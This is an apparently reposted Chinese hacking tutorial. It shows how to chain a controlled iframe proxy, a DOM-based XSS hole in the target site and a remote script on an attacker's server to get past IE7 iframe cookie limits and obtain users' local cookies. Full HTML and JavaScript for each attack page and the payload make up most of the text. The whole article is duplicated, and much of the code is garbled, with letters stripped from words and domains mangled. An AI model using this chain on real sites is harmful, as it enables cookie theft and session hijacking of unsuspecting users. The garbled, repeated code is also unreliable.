教你如何突破IE安全限制获取iframe子框架内的本地
网站建设 2023-02-09 11:06www.1681989.com免费网站
我的测试环境是 IE 7 (7.0.5730.13)
以下所有的内容全部经过我在IE7中测试，是真实有效的结果。
Iframe的限制:
因为iframe这个玩意比较特殊，所以浏览器对它一般都有一些限制。
父窗口不能控制子窗口的js，只能读取一些对象；子窗口也不能使用父窗口的js，也只能读部分对象，更多的比如document啥的都限制了。
关系如下
- iframe's should not be able to view content/cookies from another doma
- iframe children CAN view certa properties and execute certa behaviors
- parent.wdow.blur
- parent.wdow.opener
- parent.wdow.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishg)
- parent.location.href
- parent.wdow.location
对于有些利用子窗口执行父窗口js的方法是限制的
比如，在子窗口里可以这么使用
parent.location.href="http://.sohu.";
上面的语句将把父窗口重新定义到sohu的网站去.
如果想执行js，或者是读取document对象，则会被拒绝访问
parent.location.href=new Strg("javascript:alert(document.cookie)");
parent.location.href=new Strg("javascript:alert(1)");
像这两条都会被拒绝。
对于iframe，Firefox3 居然是不限制本地cookie发送的！也就是说，在Firefox环境里，使用iframe包含一个远程页面，是会将保存在本地的cookie发送出去的，这使得CSRF会非常之方便。
IE不同，对于IE环境中，img和iframe标签都只能发送session cookie，无法发送本地cookie，所以很多时候CSRF会失败，这也会给XSS带来很大的麻烦，比如会使得XSRF更困难一些。
鉴于Firefox一点挑战都没有，所以今天主要研究的对象是IE。
在IE环境下，程序员们一般都是使用P3P协议来获取跨域cookie的，P3P也要求我们改写HTTP头，更麻烦，在这里，我纯粹使用一些脚本的技巧来突破这些限制。
突破IFRAME限制的思路（以下都是在IE环境中）
由于页面里的iframe都是发送的session cookie，所以子框架页面里本身是只有一个session cookie的，我们无法通过在子框架里执行js的方法来获取本地cookie，无中生有的事情是干不出来的。
了解这一原理后，思路就很明确了想办法新起一个不受限制的窗口，从而获取本地cookie。
具体来说，有这么两个办法
1、 使用wdow.open打开一个新窗口
2、 回到父窗口，让其打开一个新窗口
在子框架中，使用wdow.open()确实可以发送本地cookie，问题是浏览器一般会限制页面弹窗口，会被拦截，所以这个方法比较囧~~，不是个好办法。
而第二个办法，回到父窗口去打开新窗口，就涉及到一个突破iframe执行脚本的问题，而这个问题在我的前一篇Cross Iframe Trick 里已经解决了，所以我们的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制获取子框架cookie
Cross Iframe的最大贡献就在于他可以绕过前面提到的iframe的限制，在父域或者子框架里获取对象，执行脚本。
当一个页面很难突破时，如果他包含了一个存在弱点的iframe页面，则可能会带来灾难性的结果。
我相信真正精通脚本攻击的人是能够看到它的用处和优势的。
环境如下(绑定127.0.0.1 .baidu.)
http://.a./1.html 是我们要攻击的页面，它包含了一个存在弱点的iframe，用户只会去浏览这个页面
http://.baidu./3.html 是我们已经控制的页面，他作为一个iframe被1.html所包含。在这里是iframe proxy
http://.a./4.html 是.a.上的一个存在XSS漏洞的页面，一般情况下用户不会去访问它！
http://.b./4.js 这是攻击者自己的服务器上的一个恶意脚本，将被XSS攻击远程载入4.html中。
由于用户只会浏览.a./1.html，所以我们要通过脚本攻击，从.a./1.html里获取用户在.baidu./3.html的本地cookie。
.a./1.html的代码如下
---------------------------------- 我是聪明的分割线 -------------------------------------------
<script>
// 函数tt1 ,在将被4.html注入参数
function tt1(fvck){
alert("tt1() and args= " fvck);
document.write("<put id=\"bbb\" value=\'test1" fvck "\' >");
}
</script>
<body>
<iframe id="tt2_3" src="http://.baidu./3.html" width="300" height="300" ></iframe>
</body>
---------------------------------- 我是聪明的分割线 -------------------------------------------
它包含了一个iframe页面
.baidu./3.html 的代码为
---------------------------------- 我是聪明的分割线 -------------------------------------------
<html>
<body>
<script>
//parent.location.href=new Strg("javascript:alert(document.cookie)");
//parent.location.href="http://.sohu.";
alert("3.html iframe and cookie=" document.cookie);
// iframe proxy: 创建一个动态iframe，并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://.A./4.html#' ><script src=\"http://.b./4.js\"><\/script><\'";
document.body.appendChild(tt1_4);
</script>
</body>
</html>
---------------------------------- 我是聪明的分割线 -------------------------------------------
3.html是我们的iframe proxy，利用它来完成在.a.里执行脚本的工作。
.a./4.html 的代码为
---------------------------------- 我是聪明的分割线 -------------------------------------------
<html>
<script>
// 一个基于DOM的XSS漏洞
document.write("<put id=\"aaa\" value=\'test4" wdow.location.href "\' >");
//wdow.open("http://.baidu./4.html"); 会带上cookie
</script>
<body>
This is 4.html!
<!-- 把这里的注释去掉可以用来测试，这样发送的还是session cookie!
<form id="form1" method="post" action="http://.baidu./2.html" >
<img src="/Article/UploadFiles/200809/20080902083122466.jpg" onload=submitpost4();>
</form>
<script>function submitpost4(){ document.forms[0].submit(); }</script>
-->
</body>
</html>
---------------------------------- 我是聪明的分割线 -------------------------------------------
.b./4.js 的代码为
---------------------------------- 我是聪明的分割线 -------------------------------------------
alert("4.js is loaded!");
.tt1('\'><form id=\"form1\" method=\"post\" action=\"http://.baidu./2.html\" ><img src=\"/Article/UploadFiles/200809/20080902083122466.jpg\" onload=submitpost4();></form><script>function submitpost4(){ document.forms[0].submit(); }</script><\!-- \'');
---------------------------------- 我是聪明的分割线 -------------------------------------------
4.js才是我们真正利用XSS漏洞和Cross Iframe Trick来新起一个窗口，从而获取本地cookie的方法。
.baidu./2.html的代码很简单，他的作用是查看当前的cookie
---------------------------------- 我是聪明的分割线 -------------------------------------------
<script>
alert("2.html cookie=" document.cookie);
</script>
---------------------------------- 我是聪明的分割线 -------------------------------------------
在这里攻击流程是这样的
.a./1.html ----iframe----> .baidu./3.html ----动态iframe---> .a./4.html 的XSS漏洞 ------> 在.a.域中远程加载.b./4.js
以下所有的内容全部经过我在IE7中测试，是真实有效的结果。
Iframe的限制:
因为iframe这个玩意比较特殊，所以浏览器对它一般都有一些限制。
父窗口不能控制子窗口的js，只能读取一些对象；子窗口也不能使用父窗口的js，也只能读部分对象，更多的比如document啥的都限制了。
关系如下
- iframe's should not be able to view content/cookies from another doma
- iframe children CAN view certa properties and execute certa behaviors
- parent.wdow.blur
- parent.wdow.opener
- parent.wdow.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishg)
- parent.location.href
- parent.wdow.location
对于有些利用子窗口执行父窗口js的方法是限制的
比如，在子窗口里可以这么使用
parent.location.href="http://.sohu.";
上面的语句将把父窗口重新定义到sohu的网站去.
如果想执行js，或者是读取document对象，则会被拒绝访问
parent.location.href=new Strg("javascript:alert(document.cookie)");
parent.location.href=new Strg("javascript:alert(1)");
像这两条都会被拒绝。
对于iframe，Firefox3 居然是不限制本地cookie发送的！也就是说，在Firefox环境里，使用iframe包含一个远程页面，是会将保存在本地的cookie发送出去的，这使得CSRF会非常之方便。
IE不同，对于IE环境中，img和iframe标签都只能发送session cookie，无法发送本地cookie，所以很多时候CSRF会失败，这也会给XSS带来很大的麻烦，比如会使得XSRF更困难一些。
鉴于Firefox一点挑战都没有，所以今天主要研究的对象是IE。
在IE环境下，程序员们一般都是使用P3P协议来获取跨域cookie的，P3P也要求我们改写HTTP头，更麻烦，在这里，我纯粹使用一些脚本的技巧来突破这些限制。
突破IFRAME限制的思路（以下都是在IE环境中）
由于页面里的iframe都是发送的session cookie，所以子框架页面里本身是只有一个session cookie的，我们无法通过在子框架里执行js的方法来获取本地cookie，无中生有的事情是干不出来的。
了解这一原理后，思路就很明确了想办法新起一个不受限制的窗口，从而获取本地cookie。
具体来说，有这么两个办法
1、 使用wdow.open打开一个新窗口
2、 回到父窗口，让其打开一个新窗口
在子框架中，使用wdow.open()确实可以发送本地cookie，问题是浏览器一般会限制页面弹窗口，会被拦截，所以这个方法比较囧~~，不是个好办法。
而第二个办法，回到父窗口去打开新窗口，就涉及到一个突破iframe执行脚本的问题，而这个问题在我的前一篇Cross Iframe Trick 里已经解决了，所以我们的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制获取子框架cookie
Cross Iframe的最大贡献就在于他可以绕过前面提到的iframe的限制，在父域或者子框架里获取对象，执行脚本。
当一个页面很难突破时，如果他包含了一个存在弱点的iframe页面，则可能会带来灾难性的结果。
我相信真正精通脚本攻击的人是能够看到它的用处和优势的。
环境如下(绑定127.0.0.1 .baidu.)
http://.a./1.html 是我们要攻击的页面，它包含了一个存在弱点的iframe，用户只会去浏览这个页面
http://.baidu./3.html 是我们已经控制的页面，他作为一个iframe被1.html所包含。在这里是iframe proxy
http://.a./4.html 是.a.上的一个存在XSS漏洞的页面，一般情况下用户不会去访问它！
http://.b./4.js 这是攻击者自己的服务器上的一个恶意脚本，将被XSS攻击远程载入4.html中。
由于用户只会浏览.a./1.html，所以我们要通过脚本攻击，从.a./1.html里获取用户在.baidu./3.html的本地cookie。
.a./1.html的代码如下
---------------------------------- 我是聪明的分割线 -------------------------------------------
<script>
// 函数tt1 ,在将被4.html注入参数
function tt1(fvck){
alert("tt1() and args= " fvck);
document.write("<put id=\"bbb\" value=\'test1" fvck "\' >");
}
</script>
<body>
<iframe id="tt2_3" src="http://.baidu./3.html" width="300" height="300" ></iframe>
</body>
---------------------------------- 我是聪明的分割线 -------------------------------------------
它包含了一个iframe页面
.baidu./3.html 的代码为
---------------------------------- 我是聪明的分割线 -------------------------------------------
<html>
<body>
<script>
//parent.location.href=new Strg("javascript:alert(document.cookie)");
//parent.location.href="http://.sohu.";
alert("3.html iframe and cookie=" document.cookie);
// iframe proxy: 创建一个动态iframe，并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://.A./4.html#' ><script src=\"http://.b./4.js\"><\/script><\'";
document.body.appendChild(tt1_4);
</script>
</body>
</html>
---------------------------------- 我是聪明的分割线 -------------------------------------------
3.html是我们的iframe proxy，利用它来完成在.a.里执行脚本的工作。
.a./4.html 的代码为
---------------------------------- 我是聪明的分割线 -------------------------------------------
<html>
<script>
// 一个基于DOM的XSS漏洞
document.write("<put id=\"aaa\" value=\'test4" wdow.location.href "\' >");
//wdow.open("http://.baidu./4.html"); 会带上cookie
</script>
<body>
This is 4.html!
<!-- 把这里的注释去掉可以用来测试，这样发送的还是session cookie!
<form id="form1" method="post" action="http://.baidu./2.html" >
<img src="/Article/UploadFiles/200809/20080902083122466.jpg" onload=submitpost4();>
</form>
<script>function submitpost4(){ document.forms[0].submit(); }</script>
-->
</body>
</html>
---------------------------------- 我是聪明的分割线 -------------------------------------------
.b./4.js 的代码为
---------------------------------- 我是聪明的分割线 -------------------------------------------
alert("4.js is loaded!");
.tt1('\'><form id=\"form1\" method=\"post\" action=\"http://.baidu./2.html\" ><img src=\"/Article/UploadFiles/200809/20080902083122466.jpg\" onload=submitpost4();></form><script>function submitpost4(){ document.forms[0].submit(); }</script><\!-- \'');
---------------------------------- 我是聪明的分割线 -------------------------------------------
4.js才是我们真正利用XSS漏洞和Cross Iframe Trick来新起一个窗口，从而获取本地cookie的方法。
.baidu./2.html的代码很简单，他的作用是查看当前的cookie
---------------------------------- 我是聪明的分割线 -------------------------------------------
<script>
alert("2.html cookie=" document.cookie);
</script>
---------------------------------- 我是聪明的分割线 -------------------------------------------
在这里攻击流程是这样的
.a./1.html ----iframe----> .baidu./3.html ----动态iframe---> .a./4.html 的XSS漏洞 ------> 在.a.域中远程加载.b./4.js
上一篇：暴破SAM文件的提权法
下一篇：教你如何用非主流方式抓鸡（图）